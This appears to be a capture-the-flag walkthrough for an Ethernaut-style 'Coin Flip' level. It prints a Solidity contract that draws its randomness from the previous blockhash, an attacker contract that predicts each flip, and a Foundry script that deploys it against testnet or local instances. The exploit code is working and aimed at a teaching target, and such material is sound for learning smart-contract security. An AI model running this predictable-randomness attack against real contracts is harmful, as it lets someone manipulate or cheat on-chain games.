Level 3 - Coin Flip ⏺⏺
Level Setup
Level Contract
Exploit
Completion Message
Notes
Last updated
Last updated
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}make anvil-exploit-level-3
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-3
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
// ================================================================
// │ LEVEL 3 - COIN FLIP │
// ================================================================
contract CoinFlipGuess {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function flip(address _targetContractAddress) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return ICoinFlip(_targetContractAddress).flip(side);
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {CoinFlipGuess} from "../src/Level3.sol";
interface ICoinFlip {
function consecutiveWins() external returns (uint256);
}
// ================================================================
// │ LEVEL 3 - COIN FLIP │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
ICoinFlip targetContract = ICoinFlip(targetContractAddress);
if (targetContract.consecutiveWins() < 10) {
vm.startBroadcast();
CoinFlipGuess coinFlipGuess = new CoinFlipGuess();
coinFlipGuess.flip(targetContractAddress);
vm.stopBroadcast();
} else {
revert("Already won 10 times");
}
console.log("consecutiveWins: %s", targetContract.consecutiveWins());
}
}